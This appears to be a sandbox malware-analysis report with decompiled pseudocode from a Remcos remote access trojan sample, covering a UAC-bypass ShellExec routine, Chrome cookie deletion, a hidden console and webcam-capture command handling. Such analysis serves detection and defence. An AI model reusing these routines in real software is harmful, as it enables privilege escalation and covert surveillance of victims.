                                    0x00000000
                                    0x0043a310
                                    0x0043a329
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0043a2e8
                                    0x0043a2d5
                                    0x0043a331
                                    0x0043a33b
                                    0x0043a2b3
                                    0x0043a2b5
                                    0x0043a2b5

                                    APIs
                                    • GetLastError.KERNEL32(?,?,0043A2A1,0043920E), ref: 0043A2B8
                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A2C6
                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A2DF
                                    • SetLastError.KERNEL32(00000000,?,0043A2A1,0043920E), ref: 0043A331
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLastValue___vcrt_
                                    • String ID:
                                    • API String ID: 3852720340-0
                                    • Opcode ID: 08359a294978b951ee6febe925dab381d1793c0aace0d6fcdcb34a4de7c4b766
                                    • Instruction ID: dbc809d8308a450a5d83d456fe70beb3dc5cef7729eaf75d8c4957ace7ef68b3
                                    • Opcode Fuzzy Hash: 08359a294978b951ee6febe925dab381d1793c0aace0d6fcdcb34a4de7c4b766
                                    • Instruction Fuzzy Hash: B4014C3214C3616EA61427B9BC856AB2748EB2A379F20133FFA28406F1EF1D4C90514D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                    Download Yara Rule
                                    APIs
                                    • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Windows\SysWOW64\SndVol.exe), ref: 004075D0
                                      • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                      • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                    • CoUninitialize.OLE32 ref: 00407629
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: InitializeObjectUninitialize_wcslen
                                    • String ID: C:\Windows\SysWOW64\SndVol.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                    • API String ID: 3851391207-991305910
                                    • Opcode ID: d49c74905991d364da645965032053700e989c335860e89d24b05673ea3b8b1a
                                    • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                                    • Opcode Fuzzy Hash: d49c74905991d364da645965032053700e989c335860e89d24b05673ea3b8b1a
                                    • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B9EF Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E0040B9EF(void* __edx, void* __edi, void* __eflags) {
				char _v28;
				char _v52;
				void* __ebx;
				void* __ebp;
				long _t18;
				void* _t20;
				void* _t21;
				void* _t28;
				void* _t32;
				void* _t33;
				void* _t34;

				_t37 = __eflags;
				_t32 = __edi;
				_t31 = E00402093(_t20,  &_v52, __edx, _t33, E0043C02A(_t20, __eflags, "UserProfile"));
				E00406383(_t20,  &_v28, _t7, _t32, _t33, _t37, "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies");
				E00401FD8();
				if(DeleteFileA(E00401FAB( &_v28)) != 0) {
					_t28 = _t34 - 0x18;
					_push("\n[Chrome Cookies found, cleared!]");
					goto L6;
				} else {
					_t18 = GetLastError();
					if(_t18 == 0 || _t18 == 1) {
						_t28 = _t34 - 0x18;
						_push("\n[Chrome Cookies not found]");
						L6:
						E00402093(_t20, _t28, _t31, _t33);
						E0040C126(_t20, _t31, _t33, __eflags);
						_t21 = 1;
					} else {
						_t21 = 0;
					}
				}
				E00401FD8();
				return _t21;
			}














                                    0x0040b9ef
                                    0x0040b9ef
                                    0x0040ba0f
                                    0x0040ba14
                                    0x0040ba1d
                                    0x0040ba33
                                    0x0040ba59
                                    0x0040ba5b
                                    0x00000000
                                    0x0040ba35
                                    0x0040ba3c
                                    0x0040ba3f
                                    0x0040ba4d
                                    0x0040ba4f
                                    0x0040ba60
                                    0x0040ba60
                                    0x0040ba65
                                    0x0040ba6a
                                    0x0040ba46
                                    0x0040ba46
                                    0x0040ba46
                                    0x0040ba3f
                                    0x0040ba72
                                    0x0040ba7d

                                    APIs
                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BA2B
                                    • GetLastError.KERNEL32 ref: 0040BA35
                                    Strings
                                    • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040B9F6
                                    • UserProfile, xrefs: 0040B9FB
                                    • [Chrome Cookies found, cleared!], xrefs: 0040BA5B
                                    • [Chrome Cookies not found], xrefs: 0040BA4F
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DeleteErrorFileLast
                                    • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                    • API String ID: 2018770650-304995407
                                    • Opcode ID: 475efc2d191db8363f4b6f8ad02cb148e4a238606e36974d65f35801d7ee39fe
                                    • Instruction ID: 5b5483c4910b4ec5fa9cdfb0a98c0aa8520a1a7704ebe1bf746730e80704956f
                                    • Opcode Fuzzy Hash: 475efc2d191db8363f4b6f8ad02cb148e4a238606e36974d65f35801d7ee39fe
                                    • Instruction Fuzzy Hash: 4D01A271A402095ACA04BBB6DD5B8BE7728D911704F50017FF803725E2FE3E8A458ADE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041CCED Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 70%
                                    			E0041CCED(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				char _v104;
				struct HWND__* _t7;
				void* _t24;
				void* _t28;

				_t28 = __edi;
				_t26 = __ecx;
				_t24 = __ecx;
				AllocConsole();
				_t7 =  *0x474b18(__ebx);
				_t32 = _t24;
				 *0x474b34 = _t7;
				if(_t24 == 0) {
					ShowWindow(_t7, 0);
				}
				E00441B72(_t26, "CONOUT$", "a", E0043C108(1));
				SetConsoleOutputCP(0x4e4);
				E0041CCAA();
				E00436DE0(_t28,  &_v104, 0, 0x64);
				E00441EB0( &_v104, "\n\tRemcos v");
				E00441EB0( &_v104, "4.9.1 Pro");
				E00441EB0( &_v104, 0x46cf18);
				_push( &_v104);
				return E00407200(_t32);
			}







                                    0x0041cced
                                    0x0041cced
                                    0x0041ccf4
                                    0x0041ccf6
                                    0x0041ccfc
                                    0x0041cd02
                                    0x0041cd04
                                    0x0041cd0a
                                    0x0041cd0f
                                    0x0041cd0f
                                    0x0041cd27
                                    0x0041cd34
                                    0x0041cd3a
                                    0x0041cd47
                                    0x0041cd55
                                    0x0041cd63
                                    0x0041cd71
                                    0x0041cd79
                                    0x0041cd85

                                    APIs
                                    • AllocConsole.KERNEL32(00475338), ref: 0041CCF6
                                    • ShowWindow.USER32(00000000,00000000), ref: 0041CD0F
                                    • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CD34
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Console$AllocOutputShowWindow
                                    • String ID: Remcos v$4.9.1 Pro$CONOUT$
                                    • API String ID: 2425139147-2878786884
                                    • Opcode ID: 60d52ef72e85e459193995aac61ef6a662aee232eb4bc52ac18f6b9846cb0a3f
                                    • Instruction ID: 6b75b5c98a97b72c8d70d78c773239ba5ea09b8082a88f04533011a1d3e089e4
                                    • Opcode Fuzzy Hash: 60d52ef72e85e459193995aac61ef6a662aee232eb4bc52ac18f6b9846cb0a3f
                                    • Instruction Fuzzy Hash: B4017571A803046AD610F7F19D8BF9D376C9B14745F600427B504A70D3F67DA954466E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0043AA2C Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 69%
                                    			E0043AA2C(void* __ebx, signed int __edx, void* __edi, void* _a4, signed int _a8) {
				intOrPtr _v0;
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __esi;
				void* __ebp;
				signed int _t61;
				void* _t64;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t73;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t82;
				signed int _t84;
				void* _t85;
				signed int _t87;
				signed int _t93;
				signed int _t102;
				void* _t104;
				signed int _t107;
				signed int* _t110;
				signed int* _t111;
				intOrPtr* _t113;
				signed int _t118;
				signed int _t120;
				signed int _t123;
				void* _t125;
				signed int _t128;
				signed int _t131;
				signed int _t139;
				signed int _t145;
				void _t147;
				void* _t148;
				void* _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t155;
				signed int _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;

				_t139 = __edx;
				_t155 = _a4;
				if(_t155 == 0) {
					_t113 = E0044052D();
					_t159 = 0x16;
					 *_t113 = _t159;
					E0043BC3C();
					return _t159;
				}
				_push(__edi);
				_t123 = 9;
				memset(_t155, _t61 | 0xffffffff, _t123 << 2);
				_t145 = _a8;
				__eflags = _t145;
				if(_t145 == 0) {
					_t111 = E0044052D();
					_t158 = 0x16;
					 *_t111 = _t158;
					E0043BC3C();
					_t78 = _t158;
					L12:
					return _t78;
				}
				_push(__ebx);
				__eflags =  *(_t145 + 4);
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L10:
						_t110 = E0044052D();
						_t157 = 0x16;
						 *_t110 = _t157;
						_t78 = _t157;
						L11:
						goto L12;
					}
					__eflags =  *_t145;
					if( *_t145 < 0) {
						goto L10;
					}
				}
				_t64 = 7;
				__eflags =  *(_t145 + 4) - _t64;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						goto L10;
					}
					__eflags =  *_t145 - 0x93406fff;
					if(__eflags > 0) {
						goto L10;
					}
				}
				E00449470(0, _t145, _t155, __eflags);
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t67 = E00448CA5( &_v12);
				_pop(_t125);
				__eflags = _t67;
				if(_t67 == 0) {
					_t75 = E00448CD1( &_v16);
					_pop(_t125);
					__eflags = _t75;
					if(_t75 == 0) {
						_t77 = E00448CFD( &_v8);
						_pop(_t125);
						__eflags = _t77;
						if(_t77 == 0) {
							_t118 =  *(_t145 + 4);
							_t128 =  *_t145;
							__eflags = _t118;
							if(__eflags < 0) {
								L28:
								_push(_t145);
								_push(_t155);
								_t78 = E004429A7();
								__eflags = _t78;
								if(_t78 != 0) {
									goto L11;
								}
								__eflags = _v12;
								asm("cdq");
								_t147 =  *_t155;
								_t120 = _t139;
								if(__eflags == 0) {
									L32:
									_t80 = _v8;
									L33:
									asm("cdq");
									_t148 = _t147 - _t80;
									asm("sbb ebx, edx");
									_t81 = E00457540(_t148, _t120, 0x3c, 0);
									 *_t155 = _t81;
									__eflags = _t81;
									if(_t81 < 0) {
										_t148 = _t148 + 0xffffffc4;
										 *_t155 = _t81 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t82 = E00457490(_t148, _t120, 0x3c, 0);
									_t121 = _t139;
									_t28 = _t155 + 4; // 0x848d0046
									asm("cdq");
									_t150 = _t82 +  *_t28;
									asm("adc ebx, edx");
									_t84 = E00457540(_t150, _t139, 0x3c, 0);
									 *(_t155 + 4) = _t84;
									__eflags = _t84;
									if(_t84 < 0) {
										_t150 = _t150 + 0xffffffc4;
										 *(_t155 + 4) = _t84 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t85 = E00457490(_t150, _t121, 0x3c, 0);
									_t122 = _t139;
									_t31 = _t155 + 8; // 0xa824
									asm("cdq");
									_t152 = _t85 +  *_t31;
									asm("adc ebx, edx");
									_t87 = E00457540(_t152, _t139, 0x18, 0);
									 *(_t155 + 8) = _t87;
									__eflags = _t87;
									if(_t87 < 0) {
										_t152 = _t152 + 0xffffffe8;
										 *(_t155 + 8) = _t87 + 0x18;
										asm("adc ebx, 0xffffffff");
									}
									_t131 = E00457490(_t152, _t122, 0x18, 0);
									__eflags = _t139;
									if(__eflags < 0) {
										L48:
										_t44 = _t155 + 0x18; // 0xa024848d
										 *(_t155 + 0xc) =  *(_t155 + 0xc) + _t131;
										asm("cdq");
										_t153 = 7;
										_t51 = _t155 + 0xc; // 0x50506a00
										_t93 =  *_t51;
										 *(_t155 + 0x18) = ( *_t44 + 7 + _t131) % _t153;
										__eflags = _t93;
										if(_t93 > 0) {
											goto L43;
										}
										 *((intOrPtr*)(_t155 + 0x10)) = 0xb;
										 *(_t155 + 0xc) = _t93 + 0x1f;
										_t55 = _t131 + 0x16d; // 0x16d
										 *(_t155 + 0x1c) =  *(_t155 + 0x1c) + _t55;
										 *((intOrPtr*)(_t155 + 0x14)) =  *((intOrPtr*)(_t155 + 0x14)) - 1;
										goto L44;
									} else {
										if(__eflags > 0) {
											L42:
											_t34 = _t155 + 0x18; // 0xa024848d
											asm("cdq");
											_t154 = 7;
											_t39 = _t155 + 0xc;
											 *_t39 =  *(_t155 + 0xc) + _t131;
											__eflags =  *_t39;
											 *(_t155 + 0x18) = ( *_t34 + _t131) % _t154;
											L43:
											_t42 = _t155 + 0x1c;
											 *_t42 =  *(_t155 + 0x1c) + _t131;
											__eflags =  *_t42;
											L44:
											_t78 = 0;
											goto L11;
										}
										__eflags = _t131;
										if(_t131 == 0) {
											__eflags = _t139;
											if(__eflags > 0) {
												goto L44;
											}
											if(__eflags < 0) {
												goto L48;
											}
											__eflags = _t131;
											if(_t131 >= 0) {
												goto L44;
											}
											goto L48;
										}
										goto L42;
									}
								}
								_push(_t155);
								_t102 = E004494C1(_t120, _t147, _t155, __eflags);
								__eflags = _t102;
								if(_t102 == 0) {
									goto L32;
								}
								_t80 = _v8 + _v16;
								 *((intOrPtr*)(_t155 + 0x20)) = 1;
								goto L33;
							}
							if(__eflags > 0) {
								L20:
								_t104 = 7;
								__eflags = _t118 - _t104;
								if(__eflags > 0) {
									goto L28;
								}
								if(__eflags < 0) {
									L23:
									asm("cdq");
									_push( &_v24);
									asm("sbb ebx, edx");
									_v24 = _t128 - _v8;
									_push(_t155);
									_v20 = _t118;
									_t78 = E004429A7();
									__eflags = _t78;
									if(_t78 != 0) {
										goto L11;
									}
									__eflags = _v12 - _t78;
									if(__eflags == 0) {
										goto L44;
									}
									_push(_t155);
									_t107 = E004494C1(_t118, _t145, _t155, __eflags);
									__eflags = _t107;
									if(_t107 == 0) {
										goto L44;
									}
									asm("cdq");
									_v24 = _v24 - _v16;
									_push( &_v24);
									asm("sbb [ebp-0x10], edx");
									_push(_t155);
									_t78 = E004429A7();
									__eflags = _t78;
									if(_t78 != 0) {
										goto L11;
									}
									 *((intOrPtr*)(_t155 + 0x20)) = 1;
									goto L44;
								}
								__eflags = _t128 - 0x933c7b7f;
								if(_t128 >= 0x933c7b7f) {
									goto L28;
								}
								goto L23;
							}
							__eflags = _t128 - 0x3f480;
							if(_t128 <= 0x3f480) {
								goto L28;
							}
							goto L20;
						}
					}
				}
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E0043BC69();
				asm("int3");
				_push(_t155);
				_t69 = E00442942(_t125);
				_t156 = _t69;
				__eflags = _t156;
				if(_t156 != 0) {
					_push(_v0);
					_t70 = E0043AA2C(0, _t139, _t145, _t156);
					asm("sbb eax, eax");
					_t73 =  !( ~_t70) & _t156;
					__eflags = _t73;
					return _t73;
				}
				return _t69;
			}




















































                                    0x0043aa2c
                                    0x0043aa35
                                    0x0043aa3a
                                    0x0043aa3c
                                    0x0043aa43
                                    0x0043aa44
                                    0x0043aa46
                                    0x00000000
                                    0x0043aa4b
                                    0x0043aa4f
                                    0x0043aa57
                                    0x0043aa58
                                    0x0043aa5a
                                    0x0043aa5d
                                    0x0043aa5f
                                    0x0043aa61
                                    0x0043aa68
                                    0x0043aa69
                                    0x0043aa6b
                                    0x0043aa70
                                    0x0043aaa1
                                    0x00000000
                                    0x0043aaa1
                                    0x0043aa74
                                    0x0043aa77
                                    0x0043aa7a
                                    0x0043aa7c
                                    0x0043aa94
                                    0x0043aa94
                                    0x0043aa9b
                                    0x0043aa9c
                                    0x0043aa9e
                                    0x0043aaa0
                                    0x00000000
                                    0x0043aaa0
                                    0x0043aa7e
                                    0x0043aa80
                                    0x00000000
                                    0x00000000
                                    0x0043aa80
                                    0x0043aa84
                                    0x0043aa85
                                    0x0043aa88
                                    0x0043aa8a
                                    0x00000000
                                    0x00000000
                                    0x0043aa8c
                                    0x0043aa92
                                    0x00000000
                                    0x00000000
                                    0x0043aa92
                                    0x0043aaa7
                                    0x0043aaaf
                                    0x0043aab3
                                    0x0043aab6
                                    0x0043aab9
                                    0x0043aabe
                                    0x0043aabf
                                    0x0043aac1
                                    0x0043aacb
                                    0x0043aad0
                                    0x0043aad1
                                    0x0043aad3
                                    0x0043aadd
                                    0x0043aae2
                                    0x0043aae3
                                    0x0043aae5
                                    0x0043aaeb
                                    0x0043aaee
                                    0x0043aaf0
                                    0x0043aaf2
                                    0x0043ab73
                                    0x0043ab73
                                    0x0043ab74
                                    0x0043ab75
                                    0x0043ab7c
                                    0x0043ab7e
                                    0x00000000
                                    0x00000000
                                    0x0043ab84
                                    0x0043ab8a
                                    0x0043ab8b
                                    0x0043ab8d
                                    0x0043ab8f
                                    0x0043abab
                                    0x0043abab
                                    0x0043abae
                                    0x0043abae
                                    0x0043abaf
                                    0x0043abb5
                                    0x0043abb9
                                    0x0043abbe
                                    0x0043abc0
                                    0x0043abc2
                                    0x0043abc7
                                    0x0043abca
                                    0x0043abcc
                                    0x0043abcc
                                    0x0043abd5
                                    0x0043abdc
                                    0x0043abde
                                    0x0043abe1
                                    0x0043abe2
                                    0x0043abe8
                                    0x0043abec
                                    0x0043abf1
                                    0x0043abf4
                                    0x0043abf6
                                    0x0043abfb
                                    0x0043abfe
                                    0x0043ac01
                                    0x0043ac01
                                    0x0043ac0a
                                    0x0043ac11
                                    0x0043ac13
                                    0x0043ac16
                                    0x0043ac17
                                    0x0043ac1d
                                    0x0043ac21
                                    0x0043ac26
                                    0x0043ac29
                                    0x0043ac2b
                                    0x0043ac30
                                    0x0043ac33
                                    0x0043ac36
                                    0x0043ac36
                                    0x0043ac44
                                    0x0043ac46
                                    0x0043ac48
                                    0x0043ac75
                                    0x0043ac75
                                    0x0043ac7b
                                    0x0043ac82
                                    0x0043ac83
                                    0x0043ac86
                                    0x0043ac86
                                    0x0043ac89
                                    0x0043ac8c
                                    0x0043ac8e
                                    0x00000000
                                    0x00000000
                                    0x0043ac93
                                    0x0043ac9a
                                    0x0043ac9d
                                    0x0043aca3
                                    0x0043aca6
                                    0x00000000
                                    0x0043ac4a
                                    0x0043ac4a
                                    0x0043ac50
                                    0x0043ac50
                                    0x0043ac57
                                    0x0043ac58
                                    0x0043ac5b
                                    0x0043ac5b
                                    0x0043ac5b
                                    0x0043ac5e
                                    0x0043ac61
                                    0x0043ac61
                                    0x0043ac61
                                    0x0043ac61
                                    0x0043ac64
                                    0x0043ac64
                                    0x00000000
                                    0x0043ac64
                                    0x0043ac4c
                                    0x0043ac4e
                                    0x0043ac6b
                                    0x0043ac6d
                                    0x00000000
                                    0x00000000
                                    0x0043ac6f
                                    0x00000000
                                    0x00000000
                                    0x0043ac71
                                    0x0043ac73
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0043ac73
                                    0x00000000
                                    0x0043ac4e
                                    0x0043ac48
                                    0x0043ab91
                                    0x0043ab92
                                    0x0043ab98
                                    0x0043ab9a
                                    0x00000000
                                    0x00000000
                                    0x0043ab9f
                                    0x0043aba2
                                    0x00000000
                                    0x0043aba2
                                    0x0043aaf4
                                    0x0043aafe
                                    0x0043ab00
                                    0x0043ab01
                                    0x0043ab03
                                    0x00000000
                                    0x00000000
                                    0x0043ab05
                                    0x0043ab0f
                                    0x0043ab12
                                    0x0043ab18
                                    0x0043ab19
                                    0x0043ab1b
                                    0x0043ab1e
                                    0x0043ab1f
                                    0x0043ab22
                                    0x0043ab29
                                    0x0043ab2b
                                    0x00000000
                                    0x00000000
                                    0x0043ab31
                                    0x0043ab34
                                    0x00000000
                                    0x00000000
                                    0x0043ab3a
                                    0x0043ab3b
                                    0x0043ab41
                                    0x0043ab43
                                    0x00000000
                                    0x00000000
                                    0x0043ab4c
                                    0x0043ab4d
                                    0x0043ab53
                                    0x0043ab54
                                    0x0043ab57
                                    0x0043ab58
                                    0x0043ab5f
                                    0x0043ab61
                                    0x00000000
                                    0x00000000
                                    0x0043ab67
                                    0x00000000
                                    0x0043ab67
                                    0x0043ab07
                                    0x0043ab0d
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0043ab0d
                                    0x0043aaf6
                                    0x0043aafc
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0043aafc
                                    0x0043aae5
                                    0x0043aad3
                                    0x0043acab
                                    0x0043acac
                                    0x0043acad
                                    0x0043acae
                                    0x0043acaf
                                    0x0043acb0
                                    0x0043acb5
                                    0x0043acbb
                                    0x0043acbc
                                    0x0043acc1
                                    0x0043acc3
                                    0x0043acc5
                                    0x0043acc7
                                    0x0043accb
                                    0x0043acd3
                                    0x0043acd8
                                    0x0043acd8
                                    0x00000000
                                    0x0043acd8
                                    0x0043acdc

                                    APIs
                                    • __allrem.LIBCMT ref: 0043ABB9
                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ABD5
                                    • __allrem.LIBCMT ref: 0043ABEC
                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC0A
                                    • __allrem.LIBCMT ref: 0043AC21
                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC3F
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                    • String ID:
                                    • API String ID: 1992179935-0
                                    • Opcode ID: ab469b58df769677e88436e296b01d902216950b9c6cf3364f1c10046dae446c
                                    • Instruction ID: d8dd1d43de5845468f32696e708b93a6fbaa7bb9433d23e08c39a2f5a26cd0f3
                                    • Opcode Fuzzy Hash: ab469b58df769677e88436e296b01d902216950b9c6cf3364f1c10046dae446c
                                    • Instruction Fuzzy Hash: 84814972640706ABE720EA69CD81B6FB3E99F48324F24612FF591C6381E77CDD10875A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 74%
                                    			E00404371(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __eflags, char** _a4, signed int _a8, intOrPtr _a12) {
				char _v4;
				void* _v36;
				char _v40;
				char _v48;
				char _v52;
				char _v56;
				char _v72;
				void* __esi;
				void* _t24;
				char** _t26;
				intOrPtr* _t28;
				char* _t36;
				intOrPtr _t46;
				signed int _t55;
				signed int _t57;
				char* _t60;
				void* _t63;
				signed int _t64;
				void* _t66;
				signed int _t75;
				void* _t78;
				void* _t127;
				signed int _t129;
				signed int _t131;
				signed int _t133;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				void* _t139;
				signed int _t140;
				char* _t142;
				signed int _t144;
				void* _t147;
				void* _t148;
				intOrPtr* _t149;

				_push(__edi);
				_t122 = _a8;
				_t127 = __ecx;
				_t24 = E004027AC(__ecx, _a8);
				_t78 = _t127;
				_t156 = _t24;
				if(_t24 == 0) {
					_push(__ebx);
					E00402888(_t78, __edx, _t139, 0);
					_t26 = E0040223D();
					_t75 = _a8;
					_a4 = _t26;
					_t117 =  *_t26;
					__eflags =  !_t117 - _t75;
					if( !_t117 <= _t75) {
						E004028A4(_t127, _t139);
						asm("int3");
						_t140 = _t144;
						_push(_t127);
						_t28 = E00401FAB( &_v4);
						E004041A2( &_v4,  &_v40, 4, 0xffffffff);
						_t147 = (_t144 & 0xfffffff8) - 0xc;
						E004020F6(_t75, _t147, _t117, __eflags, 0x474ee0);
						_t148 = _t147 - 0x18;
						E004020F6(_t75, _t148, _t117, __eflags,  &_v56);
						E0041BD6D( &_v72, _t117);
						_t149 = _t148 + 0x30;
						_t129 =  *_t28 - 0x3c;
						__eflags = _t129;
						if(__eflags == 0) {
							E00401E65( &_v48, _t117, _t140, __eflags, 0);
							_t36 = E0040247C();
							E00401FAB(E00401E65( &_v52, _t117, _t140, __eflags, 0));
							_t117 = _t36;
							_t131 = E00411C40();
							__eflags = _t131;
							if(_t131 != 0) {
								 *0x472ad4 = E00411EB5(_t131, "OpenCamera");
								 *0x472ad0 = E00411EB5(_t131, "CloseCamera");
								_t46 = E00411EB5(_t131, "GetFrame");
								_t117 = "FreeFrame";
								 *0x472ad8 = _t46;
								 *0x472acc = E00411EB5(_t131, "FreeFrame");
								 *0x472aba = 1;
								E004020F6(_t75, _t149 - 0x18, "FreeFrame", __eflags, 0x474e48);
								_push(0x1b);
								goto L23;
							}
						} else {
							_t133 = _t129 - 1;
							__eflags = _t133;
							if(_t133 == 0) {
								__eflags =  *0x472a87;
								if(__eflags != 0) {
									goto L20;
								}
							} else {
								_t134 = _t133 - 1;
								__eflags = _t134;
								if(_t134 == 0) {
									 *0x472ad0();
									 *0x472a87 = 0;
								} else {
									_t135 = _t134 - 1;
									__eflags = _t135;
									if(_t135 == 0) {
										_t55 =  *0x472ad4();
										 *0x472a87 = _t55;
										__eflags = _t55;
										if(__eflags == 0) {
											goto L15;
										} else {
											L20:
											_t117 = E0043B9FC(_t50, E00401FAB(E00401E65( &_v48, _t117, _t140, __eflags, 0)));
											E00404607(_a8, _t52, __eflags);
										}
									} else {
										_t136 = _t135 - 1;
										__eflags = _t136;
										if(_t136 == 0) {
											_t57 =  *0x472ad4();
											 *0x472a87 = _t57;
											__eflags = _t57;
											if(__eflags == 0) {
												L15:
												E004020F6(_t75, _t149 - 0x18, _t117, __eflags, 0x474e48);
												_push(0x41);
												L23:
												E00404AA1(_a8, _t117, __eflags);
											} else {
												_t60 = E0043B9FC(_t58, E00401FAB(E00401E65( &_v48, _t117, _t140, __eflags, _t136)));
												 *_t149 = 0x3e8;
												Sleep(??);
												_t117 = _t60;
												E00404607(_a8, _t60, __eflags);
												 *0x472ad0();
											}
										}
									}
								}
							}
						}
						_t21 =  &_v48; // 0x474e48
						E00401E8D(_t21, _t117);
						E00401FD8();
						E00401FD8();
						__eflags = 0;
						return 0;
					} else {
						_push(_t139);
						_t142 =  &(_t117[_t75]);
						__eflags = _t75;
						if(_t75 != 0) {
							_t64 = E004027E6(_t75, _t127, _t117, _t122, _t142, 0);
							__eflags = _t64;
							if(_t64 != 0) {
								_t66 = E0040222A(_t127);
								E004015C6(E0040222A(_t127) + _t75 * 2, _t66,  *_a8);
								E004015B2(E0040222A(_t127), _t122, _t75);
								E00402857(_t142);
							}
						}
						_t63 = _t127;
						goto L7;
					}
				} else {
					_push(_a12);
					_t63 = E004034E6(__ebx, _t127, __edx, _t122 - E0040222A(_t78) >> 1, _t127, _t139, _t156, _t78, _t127, _t122 - E0040222A(_t78) >> 1);
					L7:
					return _t63;
				}
			}






































                                    0x00404372
                                    0x00404373
                                    0x00404377
                                    0x0040437a
                                    0x0040437f
                                    0x00404381
                                    0x00404383
                                    0x0040439e
                                    0x004043a1
                                    0x004043a8
                                    0x004043ad
                                    0x004043b1
                                    0x004043b5
                                    0x004043bb
                                    0x004043bd
                                    0x0040441b
                                    0x00404420
                                    0x00404422
                                    0x0040442d
                                    0x0040442e
                                    0x00404441
                                    0x00404446
                                    0x00404450
                                    0x00404455
                                    0x0040445f
                                    0x00404468
                                    0x0040446d
                                    0x00404470
                                    0x00404470
                                    0x00404473
                                    0x00404553
                                    0x0040455a
                                    0x0040456e
                                    0x00404573
                                    0x0040457c
                                    0x0040457e
                                    0x00404580
                                    0x00404593
                                    0x004045a4
                                    0x004045ab
                                    0x004045b0
                                    0x004045b5
                                    0x004045c4
                                    0x004045cb
                                    0x004045d7
                                    0x004045dc
                                    0x00000000
                                    0x004045dc
                                    0x00404479
                                    0x00404479
                                    0x00404479
                                    0x0040447c
                                    0x00404518
                                    0x0040451f
                                    0x00000000
                                    0x00000000
                                    0x00404482
                                    0x00404482
                                    0x00404482
                                    0x00404485
                                    0x00404506
                                    0x0040450c
                                    0x00404487
                                    0x00404487
                                    0x00404487
